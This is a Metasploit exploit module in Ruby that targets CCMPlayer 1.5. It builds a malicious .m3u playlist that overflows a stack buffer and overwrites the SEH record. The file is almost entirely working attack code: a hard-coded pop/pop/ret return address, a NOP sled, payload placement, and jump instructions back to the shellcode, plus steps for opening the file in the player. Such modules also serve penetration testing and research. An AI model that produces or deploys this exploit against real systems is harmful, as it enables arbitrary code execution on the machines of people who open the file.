##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'CCMPlayer 1.5 Stack based Buffer Overflow (.m3u)',
   'Description'    => %q{
     This module exploits a stack based buffer overflow in CCMPlayer 1.5. Opening
    a m3u playlist with a long track name, a SEH exception record can be overwritten
    with parts of the controllable buffer. SEH execution is triggered after an
    invalid read of an injectible address, thus allowing arbitrary code execution.
    This module works on multiple Windows platforms including: Windows XP SP3,
    Windows Vista, and Windows 7.
   },
   'License'        => MSF_LICENSE,
   'Author'         => ['Rh0'], # discovery and metasploit module
   'References'     =>
    [
     ['URL', 'http://www.exploit-db.com/exploits/18178/']
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'DisablePayloadHandler' => 'true',
    },
   'Payload'        =>
    {
     'Space' => 0x1000,
     'BadChars' => "\x00\x0d\x0a\x1a\x2c\x2e\x3a\x5c", # \x00\r\n\x1a,.:\\
     'DisableNops' => 'True',
     'StackAdjustment' => -3500,
    },
   'Platform'  => 'win',
   'Targets'  =>
    [
     [
      'CCMPlayer 1.5',
      {
       # pop esi / pop ebx / ret (in ccmplay.exe)
       # tweak it if necessary
       'Ret' => 0x00403ca7, # last NULL in buffer is accepted
       'Offset' => 0x1000
      }
     ]
    ],
   'Privileged'     => false,
   'DisclosureDate' => '30 Nov 2011', # to my knowledge
   'DefaultTarget'  => 0))

   register_options(
    [
     OptString.new('FILENAME', [ true, 'The file name.',  'msf.m3u']),
    ], self.class)
 end

 def exploit

  m3u = "C:\\"
  # shellcode
  m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "nop").encode_string * 25
  m3u << payload.encoded
  # junk
  m3u << rand_text_alpha_upper(target['Offset'] - (25 + payload.encoded.length))
  # need an access violation when reading next 4 bytes as address (0xFFFFFFFF)
  # to trigger SEH
  m3u << [0xffffffff].pack("V")
  # pad
  m3u << rand_text_alpha_upper(3)
  # long jmp: jmp far back to shellcode
  m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-4103").encode_string
  # NSEH: jmp short back to long jmp instruction
  m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5").encode_string
  # pad (need more 2 bytes to fill up to 4, as jmp $-5 are only 2 bytes)
  m3u << rand_text_alpha_upper(2)
  # SEH Exception Handler Address -> p/p/r
  m3u << [target.ret].pack("V")
  m3u << ".mp3\r\n" # no crash without it

  print_status("Creating '#{datastore['FILENAME']}' file ...")

  # Open CCMPlayer -> Songs -> Add -> Files of type: m3u -> msf.m3u => exploit
  file_create(m3u)

 end

end